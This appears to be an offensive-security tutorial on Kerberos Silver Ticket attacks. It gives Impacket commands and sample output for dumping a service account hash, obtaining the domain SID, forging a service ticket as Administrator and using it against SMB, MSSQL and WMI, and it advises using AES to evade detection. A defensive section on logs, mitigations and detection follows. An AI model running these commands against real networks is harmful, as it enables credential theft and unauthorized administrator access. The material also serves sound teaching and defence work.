Silver Ticket
What Is a Silver Ticket?
A Silver Ticket attack lets you forge a Service Ticket from scratch using only the target service account’s NTLM hash (or AES key). Once forged, you can authenticate to that specific service as any user you choose — including Administrator — without ever contacting the KDC.
The trade-off compared to a Golden Ticket is scope. A Silver Ticket is valid for one service on one machine. A Golden Ticket can get you into anything. But because a Silver Ticket never involves the KDC at all — not during forging, not during use — it leaves far fewer logs and is significantly harder to detect.
How Does a Silver Ticket Attack Work?
In normal Kerberos, the KDC issues a Service Ticket encrypted with the service account’s long-term key (the key derived from the account’s password — called “long-term” because it stays the same until the password changes, unlike session keys which are temporary and unique to each authentication) and hands it to the client. The service decrypts it with its own key, reads the PAC (Privilege Attribute Certificate — the blob inside the ticket listing the user’s groups and permissions), and decides whether to grant access.
The KDC never told the service to trust this ticket. The service trusted it because it could decrypt it. If the attacker already has the service account’s key, they can encrypt anything they want and the service will accept it as a legitimate ticket.
The critical detail: by default, most services do not call back to the KDC to validate the PAC. They trust whatever is in the ticket as long as it decrypts correctly. This is what makes Silver Tickets work.
sequenceDiagram
participant A as Attacker
participant S as Service
Note over A: Has service account NTLM hash
A->>A: Forge Service Ticket<br/>(claim to be Administrator)
A->>A: Encrypt with service account key
A->>S: AP-REQ (forged ticket)
Note over S: Decrypts with own key ✓
Note over S: No KDC contact
S-->>A: Access granted as Administrator
No TGS-REQ, no TGS-REP, no KDC involvement. The KDC never sees this authentication happen.
What Does a Silver Ticket Attack Require?
- Service account NTLM hash or AES key — the key belonging to the account running the target service. Built-in Windows services like CIFS, HOST, and LDAP run under the machine’s computer account — a special AD account that represents the machine itself rather than a user. Every Windows machine joined to the domain has one, its name ends with a
$(likeFILESERVER$), and it has its own NTLM hash just like a user account does. Services like MSSQL or IIS configured to run under a specific user account use that user’s hash instead. - Domain SID — the Security Identifier (SID) for the domain, in the format
S-1-5-21-<three numbers>. This is embedded in the forged ticket to make it look like it came from the right domain. SID is a unique identifier Windows uses to represent domains and accounts — every domain has one that never changes. - Target SPN
— the Service Principal Name identifying the specific service, in the format
service/hostname.domain. For example,cifs/fileserver.radiant.localtargets the file sharing service on that host. - Username to impersonate — you choose this freely. It does not have to exist in the domain. Most attackers use
Administrator.
Commonly Targeted Services
| SPN Prefix | Service | What You Get |
|---|---|---|
cifs | File shares (SMB) | Read/write access to shares |
host | Remote management, scheduled tasks | WMI, PowerShell remoting, task creation |
mssql | SQL Server | Database access as sysadmin |
http | IIS, web services | Web application access |
ldap | Active Directory LDAP | Read/modify directory objects |
rpcss | RPC services | DCOM-based remote execution |
Preparation
Before forging, collect the two pieces of information the ticket needs: the service account hash and the domain SID.
Getting the service account hash
If you have domain credentials, secretsdump.py can extract the hash remotely from the machine running the service:
secretsdump.py radiant.local/jdoe:'Password123!'@fileserver.radiant.localImpacket v0.12.0 - Copyright Fortra, LLC
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3b4c...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
RADIANT.LOCAL\fileserver$:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::Each line in the output follows the format username:RID:LMhash:NThash:::. The NT hash is the last value before the :::. In the computer account line above, 8846f7eaee8fb117ad06bdd830b7586c is the NT hash you need. The line ending in $ (like FILESERVER$) is the computer account — that is the hash to use for services running as SYSTEM (the built-in Windows local system account that most machine services run under, including CIFS, HOST, LDAP, and RPCSS).
Getting the domain SID
getPac.py -targetUser Administrator radiant.local/jdoe:'Password123!'getPac.py fetches the PAC (Privilege Attribute Certificate) for a domain user from the KDC. The domain SID is always embedded inside the PAC in a field called LogonDomainId — every PAC carries it. This gives you the domain SID without needing any special access on the DC.
[*] Getting PAC for Administrator
...
LogonDomainId: S-1-5-21-3623811015-3361044348-30300820The LogonDomainId is your domain SID. Alternatively:
lookupsid.py radiant.local/jdoe:'Password123!'@dc01.radiant.local 0The 0 at the end is the starting RID (Relative Identifier — the numeric suffix at the end of any SID that identifies a specific account). RID 0 resolves to the domain itself, so lookupsid immediately returns the domain SID without enumerating any accounts.
Impacket v0.12.0 - Copyright Fortra, LLC
[*] Brute forcing SIDs at dc01.radiant.local
[*] StringBinding ncacn_np:dc01.radiant.local[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3623811015-3361044348-30300820Forging the Ticket
With the hash and SID in hand, forge the ticket directly — no network contact needed.
ticketer.py creates and saves the forged ticket as a .ccache file. The filename becomes the output ticket name.
ticketer.py \
-nthash 8846f7eaee8fb117ad06bdd830b7586c \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain radiant.local \
-spn cifs/fileserver.radiant.local \
AdministratorImpacket v0.12.0 - Copyright Fortra, LLC
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for radiant.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[* ] Saving ticket in Administrator.ccacheTo use AES256 instead of RC4 (recommended — AES is the modern default and RC4 tickets can trigger detections):
ticketer.py \
-aesKey a96f44c8c92a88a7af4c10de92310a3... \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain radiant.local \
-spn cifs/fileserver.radiant.local \
AdministratorUsing the Ticket
Point KRB5CCNAME at the forged ticket file and use Impacket tools as normal. The -k -no-pass flags tell Impacket to use the Kerberos ticket from KRB5CCNAME instead of a password.
export KRB5CCNAME=/tmp/Administrator.ccacheAccess a file share:
smbclient.py radiant.local/[email protected] -k -no-passImpacket v0.12.0 - Copyright Fortra, LLC
Type help for list of commands
# shares
ADMIN$
C$
IPC$
FinanceIf the ticket was forged for cifs, you can browse and download from shares. For other services, use the matching Impacket tool:
# MSSQL (spn: MSSQLSvc/sqlserver.radiant.local)
# -windows-auth tells mssqlclient to use Windows/Kerberos authentication
# instead of SQL Server username+password authentication
mssqlclient.py radiant.local/[email protected] -k -no-pass -windows-auth
# WMI / remote execution (spn: host/target.radiant.local)
wmiexec.py radiant.local/[email protected] -k -no-passVerification
klistTicket cache: FILE:/tmp/Administrator.ccache
Default principal: [email protected]
Valid starting Expires Service principal
03/11/2026 09:00:00 03/18/2026 09:00:00 cifs/[email protected]Notice the service principal is cifs/fileserver.radiant.local — this is a Service Ticket, not a TGT. A Golden Ticket would show krbtgt/RADIANT.LOCAL.
Operational Notes
Scope is fixed at forge time. A Silver Ticket for cifs/fileserver.radiant.local works on that host for that service only. To access a different service or a different machine, forge a separate ticket.
No KDC contact means no KDC expiry enforcement. You set the lifetime when forging. Impacket defaults to 365 days. mimikatz defaults to 10 years. This is a useful operational property but also a detection indicator — legitimate tickets expire in 10 hours.
PAC validation can block this. Some configurations enable PAC validation, where the service calls the KDC via NETLOGON to verify the PAC signature before granting access. If this is enabled on the target service, forged tickets will be rejected. PAC validation is not enabled by default on most services, but it is becoming more common as a hardening measure.
Computer account passwords rotate every 30 days by default. If you are forging tickets using a computer account hash (FILESERVER$), the hash will become invalid when the machine rotates its password. Re-extract the hash after rotation.
RC4 vs AES. Forging with RC4 (-nthash / /rc4) is easier because you can derive the RC4 key directly from the NTLM hash with no extra steps. AES tickets require the actual AES key (from sekurlsa::ekeys or similar). In environments that have disabled RC4 or where RC4 Kerberos tickets trigger alerts, use AES.
How Do You Detect and Defend Against Silver Tickets?
What Logs Does a Silver Ticket Generate?
- Event ID 4624 at the target service host — a Type 3 (network logon) event fires when authentication succeeds. Look for
Administratoror other privileged accounts logging on to a service host where no interactive session exists. - Application logs — SQL Server audit logs, IIS access logs, and file server access logs all record the authenticated username. A Silver Ticket for MSSQL will appear in the SQL audit trail as the impersonated user.
- Sysmon Event ID 10 on the machine where the hash was extracted — LSASS process access is logged during the credential dump phase, before the ticket is ever forged.
What Logs Does a Silver Ticket Not Generate?
- NO Event ID 4768 — no TGT was requested. The KDC has no record this user authenticated at all.
- NO Event ID 4769 — no service ticket was requested from the KDC. The ticket was constructed locally and never passed through the DC.
- The DC is completely silent. From the domain controller’s perspective, this authentication never happened. There are no Kerberos exchange logs, no pre-authentication events, nothing. A Silver Ticket leaves a logon event only at the service host — the DC sees nothing.
- The forging step generates no network traffic. Running
ticketer.pyorkerberos::goldenis entirely offline. No packets reach the DC.
This is what makes Silver Tickets more operationally stealthy than Golden Tickets: Golden Tickets still contact the KDC when requesting service tickets, generating 4769 events. Silver Tickets don’t touch the KDC at all.
How Do You Mitigate Silver Tickets?
- Enable PAC validation on sensitive services — this forces the service to call the KDC via NETLOGON to verify the PAC signature on every incoming ticket. A forged PAC (with no valid KDC signature) will be rejected. This is the most direct control against Silver Tickets specifically.
- Enforce AES-only Kerberos — disable RC4 and DES via Group Policy (
Network security: Configure encryption types allowed for Kerberos). RC4-encrypted Silver Tickets become immediately anomalous. Forging AES still works but requires the AES key rather than just the NTLM hash, raising the bar. - Credential Guard (Windows 10 / Server 2016+) — protects LSASS memory from being read, blocking the hash extraction step entirely.
- Group Managed Service Accounts (gMSA) — service accounts whose passwords are automatically rotated by AD and are never readable by standard users. Hash extraction from a gMSA account is not feasible, which eliminates Silver Ticket forging against those services.
- Rotate service account passwords regularly — if gMSA is not possible, a shorter rotation cycle reduces how long a stolen hash remains valid. Computer accounts auto-rotate every 30 days by default; user-based service accounts typically don’t rotate at all unless enforced.
Detection Tools
- Microsoft Defender for Identity (MDI) — has a dedicated Forged PAC / Silver Ticket alert. It detects service ticket use where no corresponding TGS exchange exists at the DC, specifically flagging the KDC silence.
- Microsoft Sentinel — write a correlation rule: Event ID 4624 (Type 3, Kerberos) on sensitive hosts where no matching Event ID 4769 at the DC exists for the same account within the same time window.
- Splunk — same correlation across DC Security logs and host Security logs. The absence join is the signal.
- Sysmon — Event ID 10 on LSASS process access. Catching the dump phase before the ticket is forged is more reliable than detecting the ticket in use, since the ticket itself looks like a normal service authentication at the host level.
- Zeek / network monitoring — Silver Tickets produce no AS-REQ or TGS-REQ Kerberos traffic toward the DC. An account authenticating to a service with no Kerberos exchanges visible on the wire is a strong behavioral anomaly in a monitored environment.
References
Original Research
- Benjamin Delpy (gentilkiwi) — Silver Ticket implementation in mimikatz; the concept of forging Service Tickets using a service account’s NTLM hash via
kerberos::golden /service /target
Tools
- Impacket
— Python library and scripts for network protocols, including
ticketer.py(Silver Ticket forging),secretsdump.py(hash extraction), andlookupsid.py/getPac.py(domain SID enumeration) - Rubeus
— C# Kerberos toolkit (
silveraction) - mimikatz
— Windows credential tool (
kerberos::goldenwith/serviceand/targetfor Silver Tickets,sekurlsa::ekeysfor AES key extraction)